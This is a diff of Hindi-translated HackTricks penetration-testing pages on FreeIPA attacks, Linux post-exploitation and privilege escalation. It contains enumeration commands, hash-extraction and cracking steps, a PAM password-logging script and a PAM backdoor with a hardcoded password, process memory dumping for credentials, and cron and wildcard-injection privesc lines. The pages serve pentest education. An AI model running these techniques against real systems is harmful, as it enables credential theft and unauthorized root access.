 ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
 ```
-डोमेन से जुड़े मशीन से आप **स्थापित बाइनरीज़** का उपयोग करके डोमेन की गणना कर सकेंगे:
+एक डोमेन से जुड़े मशीन से आप **स्थापित बाइनरीज़** का उपयोग करके डोमेन की गणना कर सकेंगे:
 ```bash
 ipa user-find
 ipa usergroup-find
@@ -88,33 +89,33 @@ ipa usergroup-show  --all
 ipa host-find  --all
 ipa hostgroup-show  --all
 ```
-> [!NOTE]
+> [!TIP]
 > **FreeIPA** का **admin** उपयोगकर्ता **AD** के **domain admins** के समकक्ष है।
 
 ### Hashes 
 
-**IPA server** का **root** उपयोगकर्ता पासवर्ड **hashes** तक पहुँच रखता है।
+**IPA server** का **root** उपयोगकर्ता पासवर्ड **hashes** तक पहुंच रखता है।
 
 - एक उपयोगकर्ता का पासवर्ड हैश **userPassword** **attribute** में **base64** के रूप में संग्रहीत होता है। यह हैश **SSHA512** (FreeIPA के पुराने संस्करण) या **PBKDF2_SHA256** हो सकता है।
 - यदि सिस्टम का **AD** के साथ **integration** है, तो पासवर्ड का **Nthash** **ipaNTHash** में **base64** के रूप में संग्रहीत होता है।
 
 इन हैशेस को क्रैक करने के लिए:
 
-• यदि freeIPA का AD के साथ एकीकृत है, तो **ipaNTHash** को क्रैक करना आसान है: आपको **base64** को **decode** करना चाहिए -> इसे **ASCII** hex के रूप में फिर से एन्कोड करें -> John The Ripper या **hashcat** आपकी मदद कर सकते हैं इसे तेजी से क्रैक करने में
+• यदि freeIPA का AD के साथ एकीकरण है, तो **ipaNTHash** को क्रैक करना आसान है: आपको **base64** को **decode** करना चाहिए -> इसे **ASCII** hex के रूप में फिर से एन्कोड करें -> John The Ripper या **hashcat** आपकी मदद कर सकते हैं इसे तेजी से क्रैक करने में
 
 • यदि FreeIPA का पुराना संस्करण उपयोग किया गया है, तो **SSHA512** का उपयोग किया गया है: आपको **base64** को डिकोड करना चाहिए -> SSHA512 **hash** खोजें -> John The Ripper या **hashcat** आपकी मदद कर सकते हैं इसे क्रैक करने में
 
-• यदि FreeIPA का नया संस्करण उपयोग किया गया है, तो **PBKDF2_SHA256** का उपयोग किया गया है: आपको **base64** को डिकोड करना चाहिए -> PBKDF2_SHA256 खोजें -> इसकी **length** 256 बाइट है। John 256 बिट्स (32 बाइट) के साथ काम कर सकता है -> SHA-265 का उपयोग प्सेडो-रैंडम फ़ंक्शन के रूप में किया गया है, ब्लॉक आकार 32 बाइट है -> आप हमारे PBKDF2_SHA256 हैश के केवल पहले 256 बिट्स का उपयोग कर सकते हैं -> John The Ripper या hashcat आपकी मदद कर सकते हैं इसे क्रैक करने में
+• यदि FreeIPA का नया संस्करण उपयोग किया गया है, तो **PBKDF2_SHA256** का उपयोग किया गया है: आपको **base64** को डिकोड करना चाहिए -> PBKDF2_SHA256 खोजें -> इसकी **length** 256 byte है। John 256 bits (32 byte) के साथ काम कर सकता है -> SHA-265 का उपयोग प्सेडो-रैंडम फ़ंक्शन के रूप में किया गया है, ब्लॉक का आकार 32 byte है -> आप हमारे PBKDF2_SHA256 हैश के केवल पहले 256 बिट का उपयोग कर सकते हैं -> John The Ripper या hashcat आपकी मदद कर सकते हैं इसे क्रैक करने में
 
 
-हैशेस को निकालने के लिए आपको **FreeIPA server** में **root** होना चाहिए, वहाँ आप उन्हें निकालने के लिए **`dbscan`** उपकरण का उपयोग कर सकते हैं: +हैशेस को निकालने के लिए आपको **FreeIPA server** में **root** होना चाहिए, वहां आप उन्हें निकालने के लिए **`dbscan`** टूल का उपयोग कर सकते हैं:
### HBAC-Rules -ये नियम हैं जो उपयोगकर्ताओं या होस्टों को संसाधनों (होस्ट, सेवाएँ, सेवा समूह...) पर विशिष्ट अनुमतियाँ प्रदान करते हैं। +ये नियम हैं जो उपयोगकर्ताओं या होस्टों को संसाधनों (होस्ट, सेवाएं, सेवा समूह...) पर विशिष्ट अनुमतियाँ प्रदान करते हैं। ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" @@ -125,7 +126,7 @@ ipa hbacrule-show --all ``` #### Sudo-Rules -FreeIPA **sudo permissions** के लिए केंद्रीकृत नियंत्रण सक्षम करता है sudo-rules के माध्यम से। ये नियम डोमेन के भीतर होस्ट पर sudo के साथ कमांड के निष्पादन की अनुमति या सीमा निर्धारित करते हैं। एक हमलावर संभावित रूप से इन नियमों के सेट की जांच करके लागू होस्ट, उपयोगकर्ताओं और अनुमत कमांड की पहचान कर सकता है। +FreeIPA **sudo permissions** के लिए केंद्रीकृत नियंत्रण सक्षम करता है sudo-rules के माध्यम से। ये नियम डोमेन के भीतर होस्ट पर sudo के साथ कमांड के निष्पादन की अनुमति या सीमा निर्धारित करते हैं। एक हमलावर संभावित रूप से इन नियमों का परीक्षण करके लागू होस्ट, उपयोगकर्ताओं और अनुमत कमांड की पहचान कर सकता है। ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" @@ -134,9 +135,9 @@ ipa sudorule-find # Show info of rule ipa sudorule-show --all ``` -### भूमिका-आधारित पहुँच नियंत्रण +### Role-Based Access Control -एक **भूमिका** विभिन्न **अधिकारों** से मिलकर बनी होती है, जिनमें से प्रत्येक में **अनुमतियों** का एक संग्रह होता है। इन भूमिकाओं को उपयोगकर्ताओं, उपयोगकर्ता **समूहों**, **होस्टों**, होस्ट समूहों, और सेवाओं को सौंपा जा सकता है। उदाहरण के लिए, इस संरचना को स्पष्ट करने के लिए FreeIPA में डिफ़ॉल्ट "उपयोगकर्ता प्रशासक" भूमिका पर विचार करें। +एक **भूमिका** विभिन्न **अधिकारों** से मिलकर बनी होती है, जिनमें से प्रत्येक एक **अनुमति** का संग्रह शामिल करता है। इन भूमिकाओं को उपयोगकर्ताओं, उपयोगकर्ता **समूहों**, **होस्ट**, होस्ट समूहों और सेवाओं को सौंपा जा सकता है। उदाहरण के लिए, इस संरचना को स्पष्ट करने के लिए FreeIPA में डिफ़ॉल्ट "उपयोगकर्ता प्रशासक" भूमिका पर विचार करें। भूमिका `उपयोगकर्ता प्रशासक` के पास ये अधिकार हैं: @@ -156,9 +157,9 @@ ipa privilege-show --all ipa permission-find ipa permission-show --all ``` -### हमला परिदृश्य उदाहरण +### Attack Scenario Example -In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain. +[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) में आप कुछ अनुमतियों का दुरुपयोग करके डोमेन को समझौता करने का एक सरल उदाहरण पा सकते हैं। ### Linikatz/LinikatzV2 @@ -167,16 +168,16 @@ In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405 ## Privesc -### ~~root उपयोगकर्ता निर्माण~~ +### ~~root user creation~~ > [!WARNING] -> यदि आप **`root` नाम के साथ एक नया उपयोगकर्ता बना सकते हैं**, तो आप उसकी नकल कर सकते हैं और आप **किसी भी मशीन में root के रूप में SSH कर सकेंगे।** +> यदि आप **`root`** नाम के साथ एक नया उपयोगकर्ता **बना सकते हैं**, तो आप उसकी नकल कर सकते हैं और आप **किसी भी मशीन पर root के रूप में SSH कर सकेंगे।** > > **यह पैच किया गया है।** -You can check a detailed explaination in [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) +आप [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) में विस्तृत व्याख्या देख सकते हैं। -## संदर्भ +## References - [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) - [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 89bb321f4..02fd6fdfb 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,22 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -## PAM के साथ लॉगिन पासवर्ड स्निफ़ करना +## PAM के साथ लॉगिन पासवर्ड की स्निफिंग -आइए एक PAM मॉड्यूल कॉन्फ़िगर करें जो प्रत्येक उपयोगकर्ता द्वारा लॉगिन करने के लिए उपयोग किए जाने वाले पासवर्ड को लॉग करता है। यदि आप नहीं जानते कि PAM क्या है, तो देखें: +आइए एक PAM मॉड्यूल को कॉन्फ़िगर करें ताकि प्रत्येक उपयोगकर्ता द्वारा लॉगिन के लिए उपयोग किए जाने वाले पासवर्ड को लॉग किया जा सके। यदि आप नहीं जानते कि PAM क्या है, तो देखें: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**अधिक विवरण के लिए [मूल पोस्ट](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) देखें**। यह केवल एक सारांश है: +**अधिक जानकारी के लिए [मूल पोस्ट](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) देखें**। यह केवल एक सारांश है: **तकनीक का अवलोकन:** -प्लग करने योग्य प्रमाणीकरण मॉड्यूल (PAM) यूनिक्स-आधारित सिस्टम पर प्रमाणीकरण प्रबंधन में लचीलापन प्रदान करते हैं। वे लॉगिन प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन यदि गलत तरीके से उपयोग किया जाए तो जोखिम भी पैदा कर सकते हैं। यह सारांश PAM का उपयोग करके लॉगिन क्रेडेंशियल कैप्चर करने की एक तकनीक को रेखांकित करता है, साथ ही शमन रणनीतियों के साथ। +प्लग करने योग्य प्रमाणीकरण मॉड्यूल (PAM) यूनिक्स-आधारित सिस्टम पर प्रमाणीकरण प्रबंधन में लचीलापन प्रदान करते हैं। वे लॉगिन प्रक्रियाओं को अनुकूलित करके सुरक्षा को बढ़ा सकते हैं, लेकिन यदि गलत तरीके से उपयोग किया जाए तो जोखिम भी पैदा कर सकते हैं। यह सारांश PAM का उपयोग करके लॉगिन क्रेडेंशियल कैप्चर करने की एक तकनीक को रेखांकित करता है, साथ ही शमन रणनीतियों के साथ। **क्रेडेंशियल कैप्चर करना:** -- एक बैश स्क्रिप्ट जिसका नाम `toomanysecrets.sh` है, लॉगिन प्रयासों को लॉग करने के लिए तैयार की गई है, जो तारीख, उपयोगकर्ता नाम (`$PAM_USER`), पासवर्ड (stdin के माध्यम से), और दूरस्थ होस्ट IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में कैप्चर करती है। +- एक बैश स्क्रिप्ट जिसका नाम `toomanysecrets.sh` है, लॉगिन प्रयासों को लॉग करने के लिए बनाई गई है, जो तारीख, उपयोगकर्ता नाम (`$PAM_USER`), पासवर्ड (stdin के माध्यम से), और दूरस्थ होस्ट IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में कैप्चर करती है। - स्क्रिप्ट को निष्पादन योग्य बनाया गया है और PAM कॉन्फ़िगरेशन (`common-auth`) में `pam_exec.so` मॉड्यूल का उपयोग करके एकीकृत किया गया है, जिसमें चुपचाप चलाने और स्क्रिप्ट को प्रमाणीकरण टोकन उजागर करने के विकल्प हैं। - यह दृष्टिकोण दिखाता है कि कैसे एक समझौता किया गया Linux होस्ट क्रेडेंशियल्स को चुपचाप लॉग करने के लिए शोषित किया जा सकता है। ```bash @@ -42,12 +42,12 @@ Pluggable Authentication Module (PAM) एक प्रणाली है जो 1. **common-auth फ़ाइल में प्रमाणीकरण निर्देश को खोजें**: - वह पंक्ति जो उपयोगकर्ता के पासवर्ड की जांच के लिए `pam_unix.so` को कॉल करती है। 2. **स्रोत कोड को संशोधित करें**: -- `pam_unix_auth.c` स्रोत फ़ाइल में एक शर्तीय कथन जोड़ें जो पूर्वनिर्धारित पासवर्ड का उपयोग करने पर पहुंच प्रदान करता है, अन्यथा यह सामान्य प्रमाणीकरण प्रक्रिया के साथ आगे बढ़ता है। +- `pam_unix_auth.c` स्रोत फ़ाइल में एक शर्तीय कथन जोड़ें जो पूर्वनिर्धारित पासवर्ड का उपयोग करने पर पहुँच प्रदान करता है, अन्यथा यह सामान्य प्रमाणीकरण प्रक्रिया के साथ आगे बढ़ता है। 3. **संशोधित `pam_unix.so` पुस्तकालय को उचित निर्देशिका में पुनः संकलित और प्रतिस्थापित करें**। 4. **परीक्षण**: -- विभिन्न सेवाओं (लॉगिन, ssh, sudo, su, स्क्रीनसेवर) में पूर्वनिर्धारित पासवर्ड के साथ पहुंच दी जाती है, जबकि सामान्य प्रमाणीकरण प्रक्रियाएँ अप्रभावित रहती हैं। +- विभिन्न सेवाओं (लॉगिन, ssh, sudo, su, स्क्रीनसेवर) में पूर्वनिर्धारित पासवर्ड के साथ पहुँच दी जाती है, जबकि सामान्य प्रमाणीकरण प्रक्रियाएँ अप्रभावित रहती हैं। -> [!NOTE] -> आप इस प्रक्रिया को [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) के साथ स्वचालित कर सकते हैं। +> [!TIP] +> आप इस प्रक्रिया को [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) के साथ स्वचालित कर सकते हैं {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 137cf3691..cfe209262 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -26,14 +26,14 @@ echo $PATH ``` ### Kernel exploits -कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है +कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है। ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **compiled exploits** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)।\ -अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **संकलित एक्सप्लॉइट्स** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)।\ +अन्य साइटें जहाँ आप कुछ **संकलित एक्सप्लॉइट्स** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं: ```bash @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo संस्करण -जो कमजोर sudo संस्करणों पर आधारित है जो प्रकट होते हैं: +जो कमजोर sudo संस्करणों पर आधारित है जो दिखाई देते हैं: ```bash searchsploit sudo ``` @@ -125,6 +125,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null यदि आप एक docker कंटेनर के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: + {{#ref}} docker-security/ {{#endref}} @@ -140,18 +141,18 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## उपयोगी सॉफ़्टवेयर -उपयोगी बाइनरीज़ की सूची बनाएं +उपयोगी बाइनरीज़ की गणना करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर) +इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)। ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Vulnerable Software Installed -**स्थापित पैकेज और सेवाओं के संस्करण** की जांच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) है जिसे विशेषाधिकार बढ़ाने के लिए शोषण किया जा सकता है...\ -यह अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण की मैन्युअल रूप से जांच करें। +Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ +यह अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण को मैन्युअल रूप से जांचें। ```bash dpkg -l #Debian rpm -qa #Centos @@ -162,38 +163,38 @@ rpm -qa #Centos ## Processes -देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक tomcat जिसे root द्वारा निष्पादित किया जा रहा है?) +देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?) ```bash ps aux ps -ef top -n 1 ``` -हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\ -साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं। +हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\ +साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं। ### प्रक्रिया निगरानी -आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताएँ पूरी होती हैं। +आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है। ### प्रक्रिया मेमोरी -कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ +कुछ सर्वर की सेवाएं **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\ -हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। +हालांकि, याद रखें कि **एक सामान्य उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। > [!WARNING] -> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने विशेषाधिकारहीन उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। +> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। > > फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है: > > - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है। > - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है। -> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि यह CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। -> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसे CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएं ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। #### GDB -यदि आपके पास एक FTP सेवा की मेमोरी तक पहुंच है (उदाहरण के लिए) तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं। +यदि आपके पास एक FTP सेवा (उदाहरण के लिए) की मेमोरी तक पहुंच है, तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। +किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को फ़ाइल में डंप करने** के लिए करते हैं। ```bash procdump() ( @@ -237,7 +238,7 @@ strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump एक Linux में Sysinternals टूल्स के सूट से क्लासिक ProcDump टूल का पुनः कल्पना है जो Windows के लिए है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। +ProcDump एक Linux में Sysinternals टूल्स के सूट से क्लासिक ProcDump टूल का पुनः कल्पना है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। ``` procdump -p 1714 @@ -276,28 +277,28 @@ Press Ctrl-C to end monitoring without terminating the process. #### Manual example -यदि आप पाते हैं कि प्रमाणीकरण प्रक्रिया चल रही है: +यदि आप पाते हैं कि ऑथेंटिकेटर प्रक्रिया चल रही है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं: +आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स की खोज कर सकते हैं: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **अच्छी तरह से ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकार की आवश्यकता होती है। +यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है। | विशेषता | प्रक्रिया का नाम | | ------------------------------------------------- | -------------------- | -| GDM पासवर्ड (Kali डेस्कटॉप, Debian डेस्कटॉप) | gdm-password | -| Gnome कीरिंग (Ubuntu डेस्कटॉप, ArchLinux डेस्कटॉप) | gnome-keyring-daemon | -| LightDM (Ubuntu डेस्कटॉप) | lightdm | -| VSFTPd (सक्रिय FTP कनेक्शन) | vsftpd | -| Apache2 (सक्रिय HTTP बेसिक ऑथ सत्र) | apache2 | -| OpenSSH (सक्रिय SSH सत्र - Sudo उपयोग) | sshd: | +| GDM पासवर्ड (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (सक्रिय FTP कनेक्शन) | vsftpd | +| Apache2 (सक्रिय HTTP बेसिक ऑथ सत्र) | apache2 | +| OpenSSH (सक्रिय SSH सत्र - Sudo उपयोग) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -336,21 +337,22 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -यदि कोई स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण: +यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** +**यदि वाइल्डकार्ड के पहले एक पथ हो जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें: + {{#ref}} wildcards-spare-tricks.md {{#endref}} ### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक -यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जिसे रूट द्वारा निष्पादित किया 